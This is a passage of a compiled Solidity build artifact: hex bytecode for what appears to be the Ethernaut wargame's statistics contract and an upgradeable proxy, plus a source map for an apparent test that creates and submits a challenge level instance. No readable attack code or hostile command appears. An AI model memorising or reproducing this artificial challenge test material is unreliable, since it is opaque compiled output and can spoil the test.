76656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e00565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b600181815481106111af575f80fd5b6001600160a01b038084165f81815260106020908152604080832054600b835281842095881680855295835281842054948452600c83528184209584529490915281205490929183918291611ba291611db1565b6001600160a01b0388165f9081526010602052604081205491925003611be1576001600160a01b0387165f908152601060205260409020819055611c29565b8481611bee600183611db1565b611bf89086611dca565b611c029190611e14565b611c0c9190611de1565b6001600160a01b0388165f90815260106020526040902081905591505b5095945050505050565b828054828255905f5260205f20908101928215611c6c579160200282015b82811115611c6c578251825591602001919060010190611c51565b50611c78929150611c7c565b5090565b5b80821115611c78575f8155600101611c7d565b80356001600160a01b0381168114611ca6575f80fd5b919050565b5f8060408385031215611cbc575f80fd5b611cc583611c90565b9150611cd360208401611c90565b90509250929050565b5f805f60608486031215611cee575f80fd5b611cf784611c90565b9250611d0560208501611c90565b9150611d1360408501611c90565b90509250925092565b5f60208284031215611d2c575f80fd5b61125082611c90565b5f60208284031215611d45575f80fd5b5035919050565b5f805f60608486031215611d5e575f80fd5b611d6784611c90565b9250611d7560208501611c90565b9150604084013590509250925092565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611daa57611daa611d85565b5060010190565b81810381811115611dc457611dc4611d85565b92915050565b8082028115828204841417611dc457611dc4611d85565b5f82611dfb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611dc457611dc4611d8556fea264697066735822122066af37f02a1e446ad91bfc4bf9b0dd5322bb220097108143b357e6128534eb5464736f6c63430008180033608060405234801562000010575f80fd5b5060405162000daa38038062000daa83398101604081905262000033916200042b565b6040516001600160a01b03821660248201528390839060440160408051601f198184030181529190526020810180516001600160e01b0390811663189acdbd60e31b17909152839082906200008f90839083905f90620000a916565b506200009d905082620000da565b505050505050620004e7565b620000b4836200014b565b5f82511180620000c15750805b15620000d557620000d383836200018c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200011b5f8051602062000d63833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16200014881620001bb565b50565b620001568162000258565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6060620001b4838360405180606001604052806027815260200162000d8360279139620002ef565b9392505050565b6001600160a01b038116620002265760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b805f8051602062000d638339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b620002c75760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016200021d565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc62000237565b60606001600160a01b0384163b620003595760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016200021d565b5f80856001600160a01b03168560405162000375919062000496565b5f60405180830381855af49150503d805f8114620003af576040519150601f19603f3d011682016040523d82523d5f602084013e620003b4565b606091505b509092509050620003c7828286620003d1565b9695505050505050565b60608315620003e2575081620001b4565b825115620003f35782518084602001fd5b8160405162461bcd60e51b81526004016200021d9190620004b3565b80516001600160a01b038116811462000426575f80fd5b919050565b5f805f606084860312156200043e575f80fd5b62000449846200040f565b925062000459602085016200040f565b915062000469604085016200040f565b90509250925092565b5f5b838110156200048e57818101518382015260200162000474565b50505f910152565b5f8251620004a981846020870162000472565b9190910192915050565b602081525f8251806020840152620004d381604085016020870162000472565b601f01601f19169190910160400192915050565b61086e80620004f55f395ff3fe60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e1575f80fd5b5061006a6100f036600461070d565b6101f4565b348015610100575f80fd5b506100ba610214565b610111610234565b61012161011c6102e4565b6102ed565b565b61012b61030b565b6001600160a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b031633036101bc576101b78383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152506001925061033d915050565b505050565b6101b7610109565b5f6101cd61030b565b6001600160a01b031633036101e9576101e46102e4565b905090565b6101f1610109565b90565b6101fc61030b565b6001600160a01b031633036101565761015381610367565b5f61021d61030b565b6001600160a01b031633036101e9576101e461030b565b61023c61030b565b6001600160a01b031633036101215760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b5f6101e46103bb565b365f80375f80365f845af43d5f803e808015610307573d5ff35b3d5ffd5b5f7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b610346836103e2565b5f825111806103525750805b156101b7576103618383610421565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61039061030b565b604080516001600160a01b03928316815291841660208301520160405180910390a16101538161044d565b5f7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61032e565b6103eb81610525565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b60606104468383604051806060016040528060278152602001610812602791396105c9565b9392505050565b6001600160a01b0381166104c95760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016102db565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039290921691909117905550565b6001600160a01b0381163b6105a25760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e74726163740000000000000000000000000000000000000060648201526084016102db565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104ec565b60606001600160a01b0384163b6106485760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60448201527f6e7472616374000000000000000000000000000000000000000000000000000060648201526084016102db565b5f80856001600160a01b03168560405161066291906107c4565b5f60405180830381855af49150503d805f811461069a576040519150601f19603f3d011682016040523d82523d5f602084013e61069f565b606091505b50915091506106af8282866106b9565b9695505050505050565b606083156106c8575081610446565b8251156106d85782518084602001fd5b8160405162461bcd60e51b81526004016102db91906107df565b80356001600160a01b0381168114610708575f80fd5b919050565b5f6020828403121561071d575f80fd5b610446826106f2565b5f805f60408486031215610738575f80fd5b610741846106f2565b9250602084013567ffffffffffffffff8082111561075d575f80fd5b818601915086601f830112610770575f80fd5b81358181111561077e575f80fd5b87602082850101111561078f575f80fd5b6020830194508093505050509250925092565b5f5b838110156107bc5781810151838201526020016107a4565b50505f910152565b5f82516107d58184602087016107a2565b9190910192915050565b602081525f82518060208401526107fd8160408501602087016107a2565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212203e1cf275377e8bb61cf9b931569a705adcb93eec1d89a2b1d063e39d5340117464736f6c63430008180033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122000818e63f6937e61f3be5a04a3a14ac4522b3146ebae43159f0c8125be885ffa64736f6c63430008180033","sourceMap":"379:1578:146:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;699:590;;;:::i;:::-;;1324:346:154;;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;865:55:155;;;847:74;;835:2;820:18;1324:346:154;;;;;;;;2452:134:5;;;:::i;:::-;;;;;;;:::i;2362:480:154:-;;;;;;:::i;:::-;;:::i;3360:151:5:-;;;:::i;:::-;;;;;;;:::i;3221:133::-;;;:::i;2922:141::-;;;:::i;2738:178::-;;;:::i;:::-;;;;;;;:::i;740:370:154:-;;;;;;:::i;:::-;;:::i;1733:222:146:-;;;:::i;2592:140:5:-;;;:::i;:::-;;;;;;;:::i;2031:325:154:-;;;;;;:::i;:::-;;:::i;3069:146:5:-;;;:::i;1676:349:154:-;;;;;;:::i;:::-;;:::i;:::-;;;9909:14:155;;9902:22;9884:41;;9872:2;9857:18;1676:349:154;9744:187:155;2157:141:5;;;:::i;1541:137:146:-;;;:::i;460:228:154:-;590:8;;;633:26;;;;;;;19243:19:155;;;633:26:154;;;;;;;;;19278:12:155;;;633:26:154;;;623:37;;;;;612:48;;;460:228;;1243:204:1;;;:::i;2304:142:5:-;;;:::i;1177:141:154:-;;;;;;:::i;:::-;;:::i;1016:26:12:-;;;;;;;;;699:590:146;733:30;766:14;778:1;766:11;:14::i;:::-;733:47;;799:5;805:1;799:8;;;;;;;;:::i;:::-;;;;;;;;;;;791:5;:16;;-1:-1:-1;;791:16:146;-1:-1:-1;;;;;791:16:146;;;;;;;;817:24;;;-1:-1:-1;;;817:24:146;;;;;10592:74:155;;;;10682:18;;;10675:30;10741:1;10721:18;;;10714:29;10779:7;10759:18;;;10752:35;817:8:146;;;;10804:19:155;;817:24:146;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;861:5;867:1;861:8;;;;;;;;:::i;:::-;;;;;;;;;;;852:6;:17;;-1:-1:-1;;852:17:146;-1:-1:-1;;;;;852:17:146;;;;;;;;879:26;;;-1:-1:-1;;;879:26:146;;;;;11054:74:155;;;;11144:18;;;11137:30;11203:1;11183:18;;;11176:29;11241:8;11221:18;;;11214:36;879:8:146;;;;11267:19:155;;879:26:146;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;930:5:146;;916:20;;-1:-1:-1;;;916:20:146;;-1:-1:-1;;;;;930:5:146;;;916:20;;;847:74:155;916:13:146;;-1:-1:-1;916:13:146;;-1:-1:-1;820:18:155;;916:20:146;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;985:5:146;;958:33;;-1:-1:-1;;;;;;985:5:146;;-1:-1:-1;958:26:146;:33::i;:::-;946:9;:45;;-1:-1:-1;;946:45:146;-1:-1:-1;;;;;946:45:146;;;;;;;;;;1023:17;;-1:-1:-1;;1023:17:146;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;1050:9:146;;:48;;;;;-1:-1:-1;;;;;865:55:155;;;1050:48:146;;;847:74:155;1001:39:146;;-1:-1:-1;1050:9:146;;;:23;;820:18:155;;1050:48:146;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;317:28:0;309:37;;-1:-1:-1;;;;;1108:12:146;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1147:6:146;;1133:21;;-1:-1:-1;;;1133:21:146;;-1:-1:-1;;;;;1147:6:146;;;1133:21;;;847:74:155;1133:13:146;;-1:-1:-1;1133:13:146;;-1:-1:-1;820:18:155;;1133:21:146;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1208:9:146;;1188:68;;-1:-1:-1;;;;;;1208:9:146;;-1:-1:-1;1233:7:146;1244:11;1188:19;:68::i;:::-;1164:8;;:94;;;;;-1:-1:-1;;;;;1164:94:146;;;;;-1:-1:-1;;;;;1164:94:146;;;;;;317:28:0;309:37;;-1:-1:-1;;;;;1268:12:146;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;723:566;;699:590::o;1324:346:154:-;1418:16;317:28:0;309:37;;-1:-1:-1;;;;;1446:13:154;;:15;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1471:50:154;;;;;-1:-1:-1;;;;;865:55:155;;;1471:50:154;;;847:74:155;1471:29:154;;;-1:-1:-1;1471:29:154;;-1:-1:-1;1508:5:154;;820:18:155;;1471:50:154;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1531:23;317:28:0;309:37;;-1:-1:-1;;;;;1557:18:154;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1557:20:154;;;;;;;;;;;;:::i;:::-;1531:46;;1623:7;1648:1;1631:7;:14;:18;;;;:::i;:::-;1623:27;;;;;;;;:::i;:::-;;;;;;;:34;;;1658:1;1623:37;;;;;;;;:::i;:::-;;;;;;;1615:46;;1588:75;;1436:234;1324:346;;;;;:::o;2452:134:5:-;2499:33;2563:16;2544:35;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2544:35:5;;;;;;;;;;;;;;;;;;;;;;;2452:134;:::o;2362:480:154:-;2429:12;2453:18;317:28:0;309:37;;-1:-1:-1;;;;;2474:14:154;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;2474:16:154;;;;;;;;;;;;:::i;:::-;2453:37;;2500:18;2547:4;2586:12;2609;2560:71;;;;;;;;;:::i;:::-;;;;-1:-1:-1;;2560:71:154;;;;;;;;;;2533:100;;;2560:71;2533:100;;:::i;:::-;;;;-1:-1:-1;;2533:100:154;;;;;;;;;;2664:17;;;2533:100;-1:-1:-1;2643:18:154;;2664:11;;;;:17;;2533:100;;2664:17;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;2664:17:154;;;;;;;;;;;;:::i;:::-;2643:38;;2691:17;2711:34;;;;;;;;;;;;;;;;;;:4;:14;;:34;;;;:::i;:::-;2691:54;;2820:4;2814:11;2807:4;2801;2797:15;2794:1;2787:39;2779:47;2362:480;-1:-1:-1;;;;;;2362:480:154:o;3360:151:5:-;3409:42;3485:19;3463:41;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;3463:41:5;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3360:151;:::o;3221:133::-;3267:33;3331:16;3312:35;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;3312:35:5;;;;;;;;;;;;;;;;;;;;;;3221:133;:::o;2922:141::-;2970:35;3038:18;3017:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;3017:39:5;;;;;;;;;;;;;;;;;;;;;;2922:141;:::o;2738:178::-;2794:48;2883:26;2854:55;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2854:55:5;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;740:370:154;794:24;830:30;885:7;863:30;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;863:30:154;;830:63;;908:9;903:178;927:7;923:1;:11;903:178;;;955:20;978:4;-1:-1:-1;;;;;978:23:154;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1017:24;;;;;-1:-1:-1;;;;;18347:55:155;;1017:24:154;;;18329:74:155;1031:9:154;18419:18:155;;;18412:34;955:48:154;;-1:-1:-1;1017:7:154;;;;18302:18:155;;1017:24:154;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1066:4;1055:5;1061:1;1055:8;;;;;;;;:::i;:::-;-1:-1:-1;;;;;1055:15:154;;;:8;;;;;;;;;;;:15;-1:-1:-1;936:3:154;;903:178;;;-1:-1:-1;1098:5:154;740:370;-1:-1:-1;;740:370:154:o;1733:222:146:-;1785:6;;1771:21;;-1:-1:-1;;;1771:21:146;;-1:-1:-1;;;;;1785:6:146;;;1771:21;;;847:74:155;1771:13:146;;;;820:18:155;;1771:21:146;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1803:19;1825:16;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;1867:8:146;;1851:25;;;;;-1:-1:-1;;;;;1867:8:146;;;1851:25;;;847:74:155;1803:38:146;;-1:-1:-1;1851:15:146;;;;;820:18:155;;1851:25:146;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1918:9:146;;1937:8;;1887:61;;-1:-1:-1;1898:49:146;;-1:-1:-1;;;;;;1918:9:146;;;;1937:8;1898:19;:49::i;:::-;1887:10;:61::i;:::-;1761:194;1733:222::o;2592:140:5:-;2640:34;2707:18;2686:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2031:325:154;2098:9;2119:19;2141:15;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;2119:37;;2166:16;2227;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;2246:5;2261:9;2204:68;;;;;:::i;:::-;-1:-1:-1;;;;;18983:15:155;;;18965:34;;19035:15;;;19030:2;19015:18;;19008:43;19087:15;;;19082:2;19067:18;;19060:43;18892:2;18877:18;2204:68:154;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;2284:39:154;;;;;-1:-1:-1;;;;;865:55:155;;;2284:39:154;;;847:74:155;2166:108:154;;-1:-1:-1;2284:23:154;;;;;;820:18:155;;2284:39:154;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;2340:9:154;;2031:325;-1:-1:-1;;;;;;2031:325:154:o;3069:146:5:-;3117:40;3190:18;3169:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;3169:39:5;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1676:349:154;1760:4;317:28:0;309:37;;-1:-1:-1;;;;;1776:13:154;;:15;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1801:48:154;;;;;-1:-1:-1;;;;;865:55:155;;;1801:48:154;;;847:74:155;1801:29:154;;;-1:-1:-1;1801:29:154;;-1:-1:-1;820:18:155;;1801:48:154;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1859:23;317:28:0;309:37;;-1:-1:-1;;;;;1885:18:154;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1885:20:154;;;;;;;;;;;;:::i;:::-;1859:46;;1937:1;1920:7;:14;:18;1916:103;;;1961:4;1954:11;;;;;1916:103;2003:5;1996:12;;;1676:349;;;;;:::o;2157:141:5:-;2206:34;2273:18;2252:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1541:137:146;1592:6;;1578:21;;-1:-1:-1;;;1578:21:146;;-1:-1:-1;;;;;1592:6:146;;;1578:21;;;847:74:1